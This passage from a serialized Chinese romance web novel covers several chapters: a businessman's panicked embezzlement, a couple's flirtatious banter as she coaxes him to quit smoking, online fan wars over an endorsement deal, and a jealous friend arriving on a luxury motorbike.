可他生性奢靡,挥金如土,豪宅买了三栋,豪车换了七辆,私人飞机说订就订,游艇派对一开就是整月。钱来得快,去得更快。他早把“储蓄”二字抛诸脑后,账户里满打满算,也就那点流动资金。 之前算的是五千万,但最后发现还要扣去自己前些日子买的高档奢侈品的钱,最后也就剩下三千万。 可黎云笙要的是五千万,明天就得准备好。 “明天?!我上哪儿去变出五千万?!”王世豪猛地站起身,在书房里来回踱步,额头冷汗涔涔。 他翻遍账户,查完理财,又打电话问了几个朋友,无一例外,没人能借他这么大一笔钱。 “宋婉榕……是黎云笙的首席律师,她来签合同,可不是来谈条件的。”王世豪喃喃,眼神逐渐发狠,“她要是发现我拿不出钱,王氏的信誉就完了。黎云笙不会放过我,温栩栩也不会善罢甘休……我完了。” 就在这时,他目光扫过书桌上的财务报表,王氏集团上季度现金流充足,账上躺着八千多万的可用资金。 一个念头,如毒蛇般悄然钻入脑海。 挪用公款。 “我只是……挪两千万。”他低声自语,声音里带着颤抖,却又透着一丝扭曲的侥幸,“就两个月,等那栋别墅卖出去,钱一到账,立刻还回去。这不叫贪污,这叫……内部资金调配。我可是王氏的实控人,用自己公司的钱,算什么犯法?” 他越想越觉得“合理”,甚至开始自我感动:“我这是为了公司形象,为了维护与黎家的关系,才不得不这么做。等温栩栩成了王氏代言人,品牌曝光度飙升,这点钱算什么?” 他迅速打开内部财务系统,手指在键盘上飞快敲击。两千万,从公司账户转入他个人名下,备注为“短期项目预付款”。他甚至伪造了一份临时合同,盖上公章,试图让这笔转账看起来“合规”。 做完这一切,他瘫坐在椅子上,大口喘气。 可内心的恐惧并未消散。 他清楚自己已经踩在了法律的边缘。一旦宋婉蓉查账,一旦审计介入,这笔钱的去向将无所遁形。他可能面临职务侵占、挪用资金的刑事指控,王氏的股价会暴跌,家族的脸面将被他一人踩进泥里。 可此刻,他已无路可退。 “温栩栩……你可真是我的灾星。”他盯着手机里温栩栩的号码,咬牙切齿,却又无可奈何,“可黎云笙……你太狠了。你明明可以直接要钱,却偏要用这种方式,逼我低头,逼我犯错……你是在警告我,以后别再打她主意,是吗?” 他忽然笑了,笑得苦涩又讽刺。 黎云笙不是在“要钱”,而是在“立威”。 …… 温栩栩蜷在沙发上,像一只刚偷了腥的猫,慵懒又得意。 窗外夜色如墨,城市的灯火在远处连成一片星河,映得她眼底也泛着细碎的光。 她一手握着手机,指尖在屏幕上轻轻滑动,另一只手则无意识地摆弄着茶几上那枚银灰色的金属烟盒。 那是黎云笙的,他不离身,连洗澡都搁在浴室门口。 她时不时抬眼,偷偷觑向坐在落地灯下的男人。从黎云笙威胁了王世豪一通后就在那里看文件了。 黎云笙穿着一件深灰色的高领毛衣,袖口挽至小臂,露出结实的手腕与那枚低调却价值不菲的腕表。 他正低头翻看一份文件,眉心微蹙,神情冷峻,仿佛整个世界都要因此静下来才对。 可温栩栩偏不。 她轻轻叹了口气,终于鼓起勇气,捏着烟盒的边缘,声音软得像棉花糖:“你以后……能不能少抽点烟?” 黎云笙眼皮都没抬,他没吭声,只是将文件翻了一页,动作利落。 温栩栩却不气馁。她知道他最近压力大,黎家老宅那边,黎老太太步步紧逼,家族会议连开三轮,黎云笙几乎没合过眼。 第1319章 可以为了温栩栩去妥协的 看黎云笙这么忙,她心里是暖的,也是疼的。 所以她觉得自己有资格“哔哔”几句了。 毕竟,这男人刚为她掀了场风暴,她总得回报点什么。 “你抽烟抽得太凶了,”她坐直身子,语气认真得像个操心的医生,“这样下去,身体肯定受不了。你没发现吗?你最近咳嗽的次数都多了,早上起来声音也哑,这都是肺在抗议!” 这话挺幼稚的,黎云笙不想理,也确实是没有理会,只是指尖微微一顿,随即又继续翻页。 温栩栩却不打算放过他。 她索性把手机一扔,坐直身子,从包里翻出平板,点开一篇医学期刊,清了清嗓子,开始一本正经地念:“根据《柳叶刀》最新研究,长期吸烟者患肺癌的概率是不吸烟者的23倍,平均寿命缩短10年以上。而且,二手烟还会导致儿童哮喘、心血管疾病,甚至影响胎儿发育……” 她顿了顿,抬眼看他,一脸“你还不悔改”的谴责:“你说,你是不是人类的罪人?一根烟,短命十年,污染环境,害人害己。你要是明天就肺癌病逝,我怎么办?工作室谁罩?我岂不是要被王世豪追杀?” 黎云笙终于抬眼。 他盯着她,眼神复杂,像是在看一个既荒唐又可爱的疯子。 “温栩栩,”他声音低沉,带着一丝疲惫的沙哑,“你这张嘴,要是去当环保大使,联合国都得给你发勋章。” 温栩栩眨眨眼,不为所动:“可我现在是你的健康监督员。” 黎云笙:“……” 他只觉太阳穴突突直跳,手心发痒,脑子里闪过一个极其危险的念头,他真该出门买个皮质的口塞,只要这小狐狸一开口,就立刻堵上。不然,他迟早被她气得脑溢血,比抽烟还致命。 他咬了咬牙,终于开口,声音低沉得像从喉间碾过:“温栩栩,你的嘴,就适合干点别的,就不该用来说话。” 空气骤然凝滞。 温栩栩呆住了,眼睛瞪得圆圆的,“啊?”了一声,像是没听懂,又像是不敢相信。 可那话里的意味,却像一簇火苗,猛地窜进她心底,烧得她脸颊发烫。 她当然听懂了,那不是威胁,是调情,是带着暧昧的警告,是黎云笙式独有的、克制又危险的撩拨。 她脸颊瞬间升起一片绯红,像晚霞染透了天边,连耳垂都红得透明。 她清了清嗓子,故意让声音甜得能滴出蜜来:“那……要干嘛呢?” 黎云笙眼神一暗。 他忽然觉得,自己刚才那句威胁,简直是自掘坟墓。 这女人,根本就是个火药桶,一点就炸,还专往他心口炸。 他闭了闭眼,扶额揉了揉眉心,这个动作,今天已经重复了太多次。每一次,都是因为温栩栩。 他估计自己眉心那块皮肤,已经被揉得发红,甚至有点肿了。 “温栩栩,”他语气严肃,试图维持最后的冷静,“你别跟我装傻。” “我没装啊,”她歪头,眼睛亮得惊人,“你让我少说话,又不告诉我该做什么,我怎么知道?难道……”她故意拖长音调,嘴角勾起一抹狡黠的笑,“你是想让我用嘴……做点别的事?” 黎云笙猛地睁眼,似乎是有些不敢置信温栩栩竟然真的说了这话。 他忽然觉得,自己不是在面对一个需要管教的麻烦精,而是一只故意撩拨猛兽的小狐狸,明知危险,却偏要往他怀里钻。 他深吸一口气,决定冷处理。 不能跟她讲道理,她没道理也会硬掰扯出道理。 于是,他重新低头,翻开下一页文件,声音平静:“我还有工作要处理,你早点去睡。” 温栩栩却不依不饶。她慢悠悠地从沙发上滑下来,赤着脚踩在地毯上,悄无声息地走到他身后。她双手轻轻搭上他的肩,指尖隔着毛衣轻轻揉捏,声音软得像羽毛:“我给你按按?你最近太累了……” 黎云笙身体一僵。 “别闹了,不是说明天还要拍戏?”他声音紧绷。 “拍戏哪有你重要,而且我想碰你。”她不听,指尖顺着肩颈缓缓上移,轻轻按着他的后颈,“你这儿都硬得像石头了……放松点嘛,我手法很好的,不信你试试?” 黎云笙闭上眼,呼吸微微紊乱。 他终于开口,声音低哑得几乎不成调:“温栩栩,你再闹,我真要对你再做点‘别的事’了。” 之前又亲又抱的,好不容易缓过劲儿来,温栩栩便又来撩拨他了。 她笑了,贴得更近,呼吸轻拂他耳廓:“那你做啊。” 黎云笙猛地转身,一把将她拽进怀里,动作迅猛得让她惊呼出声。 他盯着她,眼神深不见底,像是藏着风暴的海:“你确定?” 温栩栩心跳如鼓,却倔强地仰头回视:“确定。” 下一秒,他的唇压了下来。 这个吻来得激烈而克制,像一场压抑已久的暴雨,终于冲破云层。他的手扣住她的后脑,不让她退缩,唇齿间是淡淡的烟草味,却奇异地与她的甜腻交融,形成一种令人上瘾的气息,这次吻的不温柔,还有些凶狠,像是故意的。 温栩栩在他怀里轻轻颤抖,手指不自觉地揪住他的衣襟。 她本想再闹他一下,可此刻,却连呼吸都忘了。 良久,他才松开她,额头抵着她的,呼吸灼热:“还敢不敢说了?” 她喘着气,脸颊绯红,却仍倔强地扬起嘴角:“说……说什么?说你抽烟不好?说你该爱惜身体?说你……该对我负责?” 黎云笙低笑出声,眼神终于有了温度:“你这张嘴,真是欠收拾。” “可你收拾不了我。”她得意地笑,像只偷了鸡的狐狸。 他看着她,忽然叹了口气,将她重新揽入怀中,声音轻得像叹息:“想让我不抽烟其实你只需要说一句话就足够了。” 温栩栩靠在他怀里,听着他有力的心跳,嘴角悄悄扬起,她忍不住开口问:“什么话?” 黎云笙把玩着她的头发,片刻后开口:“只要你说你不喜欢闻烟味儿就足够了。” 就这么简单,只要温栩栩不喜欢,他就不会再抽烟。 他本也没有多喜欢着东西,不过是为了发泄罢了,温栩栩不喜欢的话,他就不会再碰的。 他是可以为了温栩栩去妥协的。 第1320章 真是能作妖 “想让我不抽烟,”他声音低沉,轻得像叹息,“其实你只需要说一句话就足够了。” 温栩栩靠在他怀里,耳畔是他沉稳有力的心跳,一下一下,像是敲在她心尖上。 她嘴角悄悄扬起,眼底泛着细碎的光,像是藏了整片星河。她忍不住仰起头,指尖轻轻戳了戳他的胸口,声音软糯:“什么话?” 黎云笙没有立刻回答。 他低头伸手,指尖轻轻把玩着她柔软的发丝,一缕一缕绕在指间,片刻后,才低声道:“只要你说你不喜欢闻烟味儿,就足够了。” 就这么简单。 不需要医学论文,不需要环保数据,不需要她翻遍知网、PubMed、柳叶刀,不需要她念得口干舌燥、声情并茂地科普吸烟如何短命、如何致癌、如何让地球提前进入末日。 只要她轻轻一句“我不喜欢”,他就能把那支点燃的烟掐灭,从此不再触碰。 他本就没有多喜欢抽烟。那不过是压力堆积到极致时的出口,是深夜独处时的慰藉,是面对黎家老宅那盘死局时,唯一能让他保持清醒的“毒药”。可如果温栩栩不喜欢,那他就可以直接戒掉。 温栩栩怔住了。 她用力抱紧他,声音闷在他怀里:“那……我不喜欢闻烟味儿,你以后不要抽烟了,好不好?” 黎云笙轻笑,那笑声低沉而温柔,他低头,在她发间落下一个轻吻:“好。” 温栩栩却忽然抬起头,眼睛亮得惊人:“等会儿!我手机里还存了十几二十篇同类型的论文,你要听吗?我总不能白搜索资料了!” 黎云笙:“……” 他额角微微抽搐,内心更燥了。 他右手指尖动了动,几乎要怀疑自己刚才的承诺是不是太轻率了。 温栩栩多少是有点得寸进尺,但显然黎云笙还是由着她胡闹了。 她已经兴致勃勃地掏出手机,点开备忘录,清了清嗓子,准备继续她的“健康科普讲座”。 “根据《美国医学会杂志》202X年最新研究,长期吸烟者……” “停。”黎云笙终于忍不住,伸手按住她的手机屏幕,眼神无奈又宠溺,“温栩栩,你是不是觉得,我答应戒烟,是为了听你念完这二十篇论文?” 她眨眨眼,一脸无辜:“可我查了好久呢,不念完多可惜。” “你的心意,我收到了。”他语气认真,“但我的耳朵,承受不住。” 温栩栩撇嘴,却掩不住笑意。 她收起手机,却没打算就此罢休。她忽然眼睛一亮,像是想到了什么绝妙的主意,猛地从沙发上弹起来:“我有办法!” “什么办法?” “替代品!”她得意地扬起下巴,像只发现了宝藏的小狐狸,“你抽烟,是因为压力大,想发泄,对吧?那我给你准备点别的,让你转移注意力!” 说完,她颠颠儿地跑向卧室,不一会儿,抱着一个大纸箱回来,往茶几上一倒。 琳琅满目。 磨牙棒饼干、长条酸奶棒、各种口味的棒棒糖、果冻软糖、巧克力豆、甚至还有几包无糖口香糖……五颜六色,堆得像个小山。 “随身备着这些,想抽烟了,就来一份。”她大手一挥,像在展示自己的战利品,“甜的、酸的、脆的、嚼劲十足的,总有一款能让你忘记烟的诱惑!” 香烟倒也没什么诱惑,他有时候抽烟只是烦躁。 只是现在…… 黎云笙看着那堆五彩斑斓的零食,眼神古怪,像是在看一场荒诞的展览。 他稍稍想象了一下,自己坐在会议室,西装革履,面对一众高管,正要发表战略部署,忽然从抽屉里掏出一根草莓味棒棒糖,慢条斯理地剥开,放进嘴里…… 他唇角抽搐,瞬间没有了抽烟的欲望,不是因为健康,而是因为社死。 “温栩栩,”他扶额,“你这是要让我在公司开糖果派对?” “这叫心理替代疗法!”她理直气壮,“你看,墨澜都夸我给的糖果好吃,还说拍戏累了含一颗,比喝咖啡还提神呢!” 黎云笙:“……” 他看着她那副得意洋洋的模样,忍不住伸手捏了捏她的脸:“你啊,真是能作妖。” 温栩栩笑得眼睛弯成月牙:“可你不是由着我吗?” “而且如果你觉得丢脸的话,你可以让你的下属们都戒烟啊,那又不是什么好东西,你们都改成是零食不就好了,这样尴尬的就不会是你一个人了。” 黎云笙:“……” 真是难为温栩栩能提出这种离谱的要求了。 …… 临到黎云笙离开,温栩栩一路送他下楼,像只黏人的小猫,寸步不离。 到了车边,她还不忘打开后备箱,把那堆零食又塞了满满一袋,硬是塞进他车后座。 “车上备着,万一突然想抽呢?”她眨眨眼,“随时补充能量。” 黎云笙看着那袋糖果,无奈地笑了:“塞就塞吧,反正我不会吃。” 温栩栩跟着哼哼唧唧两声,像是在表达自己的不满似的。 他摇头,正要关上车门,却见温栩栩忽然倚在车门边,双手背在身后,微微仰头,笑得纨绔又狡黠:“这就走了?不跟我告别吗?” 夜风拂过,她发丝轻扬,眼底闪着光,笑意此刻都带着些许温柔。 黎云笙挑了挑眉,眉峰微动,眸光深邃如夜,带着几分戏谑与无声的询问。 他站在车旁没有说话,只是静静地看着她,仿佛在等她继续“胡闹”。 温栩栩却不怕他这副“高岭之花”的模样。 她唇角一扬,眼底闪过一丝狡黠的光,像只蓄谋已久的狐狸,轻盈地朝他走近一步。 下一瞬,她忽然踮起脚尖,双手勾住他的脖颈,毫不迟疑地吻了上去。 唇瓣相贴的瞬间,黎云笙瞳孔微缩,呼吸一滞。她的舌尖轻巧地探入,带着一丝试探,又带着不容拒绝的执着。他终究没能抵抗,低哼一声,反手将她扣入怀中,加深了这个吻。 唇舌交缠间,他尝到了她舌尖那一抹酸酸甜甜的水蜜桃清香,是她刚吃过的糖果味道,清冽又甜腻,像极了她本人。 第1321章 手感棒极了 糖果的味道在他口腔里弥漫开来,像是被她整个人包裹住,从鼻息到喉间,全是她的气息。 他忍不住加深这个吻,像是要将她吞入腹中,连骨带肉。 她像一颗熟透的水蜜桃,皮薄汁多,甜得勾人,诱人咬一口,剥皮,吮吸,吞吃入腹。 良久,温栩栩才微微退开,额头抵着他的,双颊泛着薄红,呼吸微微喘促,像只偷了腥的猫。 她眨了眨眼,睫毛轻颤,声音软得能滴出水来:“要这样道别才对,记住没有?” 黎云笙低低地“嗯”了一声,嗓音沙哑得几乎不成调。 他抬手,指尖轻轻拨弄她因亲吻而凌乱的发丝,将一缕碎发别至耳后,动作轻柔。 他看着她,眼神里那层冰霜早已融化,只剩下深不见底的温柔与纵容。 “你啊……”他低声叹道,语气里带着无奈,却又藏不住笑意,“胆子越来越大了。” 温栩栩却笑得更欢,眼尾弯弯,像月牙儿。 她忽然伸手,从他西装口袋里抽出一根水蜜桃味的棒棒糖,随意地扬了扬,像是在炫耀战利品:“其实糖果的味道也不错吧?比烟草好多了。” 黎云笙看着那根糖,又看看她,忽然低笑出声。他将那根糖含了进去,舌尖轻轻一卷,酸甜的滋味在口中化开。 “嗯,”他点头,语气认真,“确实不错。” 温栩栩却还不满足。她察觉到他一时半会儿不会走,而她也即将分别,便胆子愈发大了起来。 她知道,此刻的他,不会教训她,只会由着她闹。 于是,她大胆地伸出手,指尖轻轻捏住他的下巴,力道不重,却带着几分挑逗的意味。 她的指腹摩挲着他下颌的线条,皮肤光滑紧致,手感好得让她忍不住想多捏两下。 “呀,”她轻叹一声,笑得眉眼弯弯,“皮肤真好,手感棒极了,有点想捏,但我忍住了。” 黎云笙眸光一暗,呼吸微沉。 他盯着她,像是在看一个不知死活的小狐狸,偏偏又舍不得真把她怎么样。 “温栩栩,”他声音低哑,带着警告的意味,“你再闹下去我不保证还能继续放你去拍戏。” 她却不怕,反而笑得更欢,狐狸尾巴都快翘到天上去。 她指尖轻轻一松,却没收回,反而凑近他耳边,吐气如兰:“要不要尝尝其他口味?下次见面,换个其他口味的糖果来欢迎我呀。” 话音落下,她敏锐地察觉到他眼神的变化,那双总是冷静自持的眼眸,此刻竟泛起一丝近乎危险的暗流。 他呼吸一滞,喉结滚动,像是在极力克制某种汹涌的情绪。 她知道,她又把人逗弄的动了情。 于她干脆利落地松开他,后退一步,冲他扬了扬手,眼底尽是得意的狡黠:“我先走啦,你路上小心哦!” 说完,她“啪”地一声关上车门,动作利落到近乎潇洒。 她站在原地,冲他挥手,笑得灿烂如春日暖阳,仿佛刚才那个大胆挑逗的男人的姑娘,根本不是她。 黎云笙坐在车里,望着窗外那道俏丽的身影,久久未动。 他抬手,指尖轻轻抚过自己的唇,仿佛还能感受到她留下的温度与甜味。 他低低地叹了口气,声音轻得几乎听不见:“小狐狸……” 车内,一片寂静。 片刻后,他忽然伸手,打开了副驾驶座前的储物箱,里面不是文件,不是笔,而是一个小小的铁皮糖果盒。 他打开盒子,里面整整齐齐码着各色糖果,水蜜桃、草莓、柠檬、蓝莓……全是她刚才塞给他的那些。 他指尖轻动,数了数,低声自语:“十七颗。” 后排的助理透过内视镜,正巧看到这一幕,他顶天立地、冷峻禁欲的黎总,居然在数糖果?! 助理瞳孔地震,手一抖,差点把方向盘打偏。 他赶紧收回视线,死死盯着前方,心跳如鼓,冷汗直冒。 “我什么都没看见……我什么都没看见……”他在心里疯狂默念,这真的很离谱啊喂!这事儿发到公司大群都没有人相信的程度啊! 可黎云笙却像是毫无察觉。他合上糖果盒,轻轻放回原处,唇角却微微扬起,那抹笑意极淡,却真实得让人心颤。 助理:“!!!” 摸糖果到底是有什么可开心的啊! 助理假装研究仪表盘,内心却已掀起惊涛骇浪。 黎总,您不是说“不谈恋爱”吗?您不是说“感情是累赘”吗?现在这是在干嘛?! …… 温栩栩离开后黎氏那边已经将温栩栩发微博接下王氏服装代言的事情送上了热搜。 #温栩栩澄清挺王氏# #温栩栩为王氏说话# #温栩栩代言王氏新品# 凌晨三点,微博热搜悄然被几条关键词占据。 无数熬夜追剧、刷八卦的网友点开热搜时,几乎同时发出一声惊呼:“温栩栩疯了吗?” 就在所有人以为温栩栩会与王家彻底切割、划清界限之际,她却反其道而行之,发布了一条石破天惊的微博。 温栩栩:已和王氏达成协议将代言王氏推出新品秋装,敬请期待@王氏服饰官方微博 这条微博,像一颗投入平静湖面的炸弹,瞬间激起千层浪。 王家以前一直都是生产布料,走的都是中档品牌,时间久了也想着创建新品服装,去年才开始设立创建这一板块,可以说还是个很小众的品牌,再加之王家被网络围攻,此刻股票大跌,可能这些生产出来的衣服都要低价卖出赔的血本无归。 好在温栩栩虽然狮子大开口,却也愿意跟王氏合作代言王氏旗下“王氏”品牌的服饰。 温栩栩粉丝和路人攻击王家时温栩栩反其道而行代言王家服饰这一骚操作让粉丝和路人都懵了。 温栩栩黑粉开始蹦跶张口闭口嘲讽温栩栩粉丝做无用功,自己以为在帮自家蒸煮伸张正义,其实蒸煮根本不在乎,仍旧我行我素支持那烂透底的王家。 “她是不是疯了?” “这时候还敢接王氏?不怕被骂死?” “温栩栩怎么这次这么没脑子?” 网络上,质疑声、嘲讽声、谩骂声如潮水般涌来。 温栩栩的黑粉们第一时间嗅到了“机会”的味道。 他们迅速组织起来,在各大平台发起“#温栩栩为烂透的王家站台##温栩栩背叛自己粉丝#”等话题,疯狂带节奏。 第1322章 独一无二的小情儿 “笑死,之前粉丝还说自家偶像三观正,现在呢?为了钱连底线都不要了?” “王家都烂透了,她还去代言?这是公然给黑心资本洗白!” “粉丝之前不是骂得最凶吗?现在偶像一接代言,立马闭嘴,真是双标到家了。” 更有甚者,开始攻击温栩栩的粉丝群体:“你们不是天天喊着‘姐姐三观正’‘姐姐有社会责任感’吗?现在她支持王家,你们怎么不骂了?是不是被钱砸晕了?” 一时间,温栩栩仿佛成了“背叛者”,被推上道德审判台。 就在舆论几乎一边倒之际,温栩栩的超话大粉“栩栩如生”发布了一条长微博,字字珠玑,逻辑清晰,瞬间点燃了粉丝阵营。 【栩栩如生】:“有些人站着说话不腰疼,给你钱你要不要?而且本来就是王双双做的错事,也没离谱到让整个家族来买单吧,真要破产了,怎么的?你给王氏那些员工们安排工作是不是?真是太离谱了,我寻思栩栩站出来为王家代言要被骂,如果栩栩不站出来真任由王家倒闭破产是不是又要换一种说辞,黑我们栩栩心狠手辣了?谢谢各位整日闲的没事儿干就会盯着我们栩栩,真要没事做给我打电话啊,我给你找个纳鞋底的场子,要不就找个牢坐坐,别总在网络上丢人现眼现智商!” 这条微博,像一记耳光,狠狠扇在那些无脑喷子脸上。 “栩栩如生”是温栩栩出道时就追随的老粉,从温栩栩群演开始关注,一路见证她从默默无闻到顶流巅峰。所以栩栩如生还是很理智的。 曾经叫嚣最凶的黑粉,此刻集体沉默。 这场网络战役其实还没开始就已经结束了,特别是内部有黎氏的人帮忙带着节奏,所以还真没有几个人继续黑温栩栩了。 …… 暮色渐染,帝城的天际线被晚霞晕染成一片金红,中心区的古建筑群在余晖中静静伫立,半小时后,一辆低调却气场十足的豪车缓缓驶入视野,停在一座外观古朴典雅的会馆前。 这便“青竹居”,帝城最负盛名的私人会馆之一,传闻由前朝遗老所建,历经百年风雨,依旧保存完好。 会馆整体为明清风格,飞檐翘角,雕梁画栋,门前两尊石狮威严矗立,门匾高悬,上书三个龙飞凤舞的大字“青竹居”。 今晚黎云笙也是受邀来参加拍卖会,实则是为了谈一场合作。 来的不是豪门掌舵人,便是政商界巨擘,再不济也是名门之后、世家子弟。 侍者恭敬地引导宾客入场,丝绒红毯从门口一直铺到大堂。 突兀的“嗡——嗡——嗡——”声由远及近。 众人纷纷蹙眉,抬眼望向声源。 只见一辆红黑相间的摩托车如疾风般驶来,车身线条凌厉,造型极具未来感,却又带着几分叛逆的野性。 那颜色张扬得近乎嚣张,像一团燃烧的火焰,直直闯入。 更令人咋舌的是,这辆摩托车的侧身竟印有劳斯莱斯特有的标志,这并非普通改装,而是由劳斯莱斯官方定制的限量版机车,全球不足十辆,每一辆都价值连城,堪称“机车中的艺术品”。 “谁啊?这么不懂规矩?” “大晚上骑摩托来青竹居?是不是脑子有病?” “该不会是哪个富二代来闹场子的吧?” 议论声四起,宾客们面露不悦。 可那辆摩托车却毫不在意,稳稳停在一辆黑色迈巴赫旁,动作干脆利落,甚至带着几分炫耀。 紧接着,车上的人动了。 他一只脚撑地,长腿笔直修长,肌肉线条在紧身骑行裤下若隐若现,衬得整个人比例逆天。 他穿着一件打眼的朋克服,金属拉链在夕阳下泛着冷光,肩部铆钉闪烁,腰间还挂着一串叮当作响的钥匙链,浑身上下写满了“我很有钱,但我偏要叛逆”。 他缓缓摘下头盔,呼出一口白气,一手利落地将额前微卷的黑发向后一顺,露出一张英俊到近乎邪肆的脸,剑眉斜飞,眼尾上挑,鼻梁高挺,唇角天生微扬,仿佛永远带着一抹不羁的笑。 刹那间,空气仿佛凝固了一瞬。 有人倒吸一口凉气:“我靠……是那个韩家二少爷?” “哪个韩家?” “还能有哪个?帝城姓韩的,只有一家,韩家老爷子那位提起来就要抄棍子追着打的逆子,韩城!” “是他啊。”众人恍然,原本紧绷的神情瞬间松弛,甚至有人忍不住笑出声,“那没事了,散了吧散了吧,原来是这位祖宗来了。” 韩城,韩家二少爷,帝城出了名的浪荡子,富三代里的“异类”,媒体口中的“纨绔天花板”。 此刻,他将头盔随手一挂,挂在车把上,大步走向那辆五个八的豪车。 他走到车边,毫不客气地抬手拍门,一下,两下,三下……节奏感极强。 “咚咚咚咚咚咚咚咚咚咚咚~” 车内,黎云笙正闭目养神,被这魔性节奏硬生生从冥想中拉回现实。 他睁开眼,透过车窗看到那张熟悉又令人头疼的脸,眉头微蹙,最终还是无奈地按下了开门键。 “你能不能有点正形?”黎云笙语气淡淡,却掩不住一丝宠溺。 韩城咧嘴一笑,露出一口整齐的白牙,像只得逞的狐狸:“正形多没意思?人生苦短,得乐就乐。” 说着,他撑着车门一屁股坐进副驾,动作熟稔得仿佛这是他家的车。 他翘起二郎腿,靴子尖还轻轻踢了踢仪表盘,笑嘻嘻道:“哎,你这车内饰还是老样子,太素了,改天我送你套荧光粉的座椅套,保证回头率爆表。” 黎云笙瞥他一眼:“你希望我把你那辆‘小情儿’锁进韩家地库,钥匙熔了。” 韩城立刻坐直,双手合十:“别别别,我错了,哥,我这就闭嘴。” 可不过三秒,他又忍不住兴奋地在座位上蹬了蹬腿,像只刚拿到新玩具的大型犬:“我那车,昨天才入手的!全球就三辆,我托了意大利那边的关系,加价三倍才拿到手。我这想秀的心,根本按捺不住啊!今儿就骑着我小情儿来压马路了,怎么样,帅不帅?” “小情儿?”黎云笙挑眉,“你每辆新车都叫小情儿,上个月那辆法拉利你还叫‘小甜甜’呢。” “那不一样,”韩城认真道,“这是独一无二的小情儿。” 黎云笙:“……” 他已经数不清韩城有多少个独一无二的小情儿了。 第1323章 竟然当着他的面秀恩爱?! 韩城刚在副驾坐稳,还没从“小情儿”的兴奋中缓过来,肩膀就撞了撞身旁的黎云笙,动作里带着点故意的痞气。 他挤眉弄眼,眉梢眼角全是藏不住的嘚瑟:“哎,黎云笙,你觉得我这辆车跟温栩栩搭不搭?说实话,我就是专门为栩栩买的车!这颜色,这线条,多配她那股子飒劲儿!栩栩呢?她什么时候拍完戏啊?我带她兜风去,让她好好感受下我的‘小情儿’!” 说到最后,韩城的语气里还透着一股气愤,眉头皱得能夹死苍蝇。 他越说越委屈,声音都拔高了几分:“你说说,自从温栩栩跟我在一起后,她已经很久不理我了!整天跟在你屁股后面,把我当空气!我感觉自己被你们两个人彻底忽略了,简直太过分了!兄弟我好歹也是韩家少爷,哪点比你黎云笙差了?凭什么啊!” 黎云笙正整理着袖口,闻言嗤笑一声,侧过头,目光里带着几分无奈和嘲弄:“韩城,你能不能懂事点?你以为谁都跟你似的,脑子里只有机车和兜风?温栩栩现在多少双眼睛盯着她!你骑着这辆劳斯莱斯机车,带她满街溜达一圈再被人拍下来,标题党怎么写?‘温栩栩新金主曝光,竟是韩家浪荡子韩城’?你嫌她热搜不够多?还是嫌她粉丝不够闹?” 他顿了顿,语气里带着点警告:“你现在这样,不是帮她,是给她找麻烦。能不能少给她添点乱?让她安安心心拍戏,踏踏实实发展事业?” 韩城一听,立刻不服气地“切”了一声,身子往座椅里一靠,双手抱胸:“凭什么啊?你跟栩栩一起就可以,我跟栩栩一起就成了找麻烦?黎云笙,你这是赤裸裸的双标!怎么到我这儿就不行了?” 黎云笙目光平静地看着他:“韩城,你不明白吗?现在大众眼里,温栩栩是黎氏的人,她的发展离不开黎氏的支持。她和我在一起,是‘强强联合’,是‘神仙眷侣’,没人会多说什么。可你呢?你要是突然冒出来,和她走得太近,那些黑粉、媒体会怎么想?肯定会有人说她三心二意,说她是‘女海王’,脚踏两条船!你还想不想让她在娱乐圈混了?你还想不想让她被人骂?” 韩城被他这一番话说得哑口无言,憋屈地抿着嘴,眼神里闪过一丝委屈。 他知道黎云笙说的是真的,娱乐圈的规则就是这么残酷,温栩栩现在站在风口浪尖,任何一点风吹草动都可能被放大。 他不想害她,可就是不甘心啊! 那种感觉,就像自己从小玩到大的兄弟,突然被另一个“情敌”抢走了,而且还是自己最好的朋友! 以前温栩栩跟他关系最好了,两人一起飙车、一起喝酒、无话不谈。 可自从温栩栩跟黎云笙在一起后,这俩人就跟黏在了一起似的,一个个的全都忽略他了,真当他是空气啊!重色轻友的两个混蛋! 韩城越想越委屈,越想越气闷,恨不得把脑袋往车窗上撞两下,发泄一下心中的郁闷。 就在这时,一直坐在驾驶座角落、努力缩小自己存在感的助理,正瑟瑟发抖地低头刷着手机,恨不得把自己当成一个透明人。 他能清晰地感受到车内低气压,大气都不敢喘,生怕一个不小心就成了“炮灰”。 黎云笙斜了他一眼,忽然像是想到了什么,嘴角勾起一抹极淡的笑意。 他慢条斯理地打开自己的车门,动作优雅从容,然后用极为平静的眼神示意韩城看车上的零食。 韩城原本还沉浸在自己的委屈情绪里,被他这么一示意,下意识地顺着他的目光看过去。 只见宽敞的后座上,堆满了各式各样的零食,有温栩栩最爱的芒果干、薯片、巧克力,还有她常喝的无糖气泡水,甚至还有几包小众的进口糖果,包装精致,一看就是精心挑选的。 韩城的眼睛一下子瞪圆了,嘴巴微张,脸上写满了匪夷所思。他愣了好几秒,才指着那些零食,结结巴巴地问:“黎云笙,你……你几个意思?你车上怎么那么多零食?你不是最讨厌这些东西的吗?上次我给你带包薯片,你都嫌弃得跟什么似的!” 黎云笙轻咳一声,故作镇定,但眼底的笑意怎么也藏不住:“温栩栩给的。她知道我不爱吃,但有时候工作忙起来会饿,就特意放了一些在我车上,说让我饿的时候垫垫肚子。” “温栩栩给的?!”韩城的声音陡然拔高,一声“我艹?”脱口而出,不是愤怒的四声,而是一声,带着满满的震惊、错愕和难以置信,尾音都快拐到天上去。 那一声“我艹?”,仿佛一道惊雷,在韩城的脑海里轰然炸响。 黎云笙竟然当着他的面秀恩爱?! 秀的还是他和温栩栩的恩爱?! 开什么国际玩笑?! 那个一向清冷自持、不苟言笑的黎云笙,什么时候学会这种招数了? 还有没有天理了?! 韩城只觉得自己的世界观在这一刻彻底崩塌了。 他匪夷所思地看着黎云笙,又看看那些零食,再看看黎云笙,感觉自己的脑子都不够用了。 他甚至有种冲动,想拿脑袋狠狠地撞一下车窗,看看自己是不是在做梦! “黎云笙!”韩城几乎是咬着牙喊出他的名字,声音里充满了控诉,“你跟我搁这儿秀恩爱?秀的还是你跟温栩栩的恩爱?是你疯了还是我疯了?你什么时候变得这么……这么无耻了?!” 黎云笙看着他气急败坏的样子,非但没有生气,反而扬了扬眉。 他慢悠悠地拿起一包芒果干,晃了晃,语气里带着一丝调侃:“怎么?羡慕了?嫉妒了?可惜,你没有。” 韩城被他气得说不出话来,只能指着黎云笙,手指都在微微颤抖。 他感觉自己就像一个被全世界抛弃的小可怜,兄弟没了,零食没了,连温栩栩的爱都快没了! 他憋了半天,才憋出一句:“黎云笙,你变了!你以前不是这样的!你以前明明很讨厌这些甜腻腻的东西的!” 第1324章 流下了嫉妒的泪水 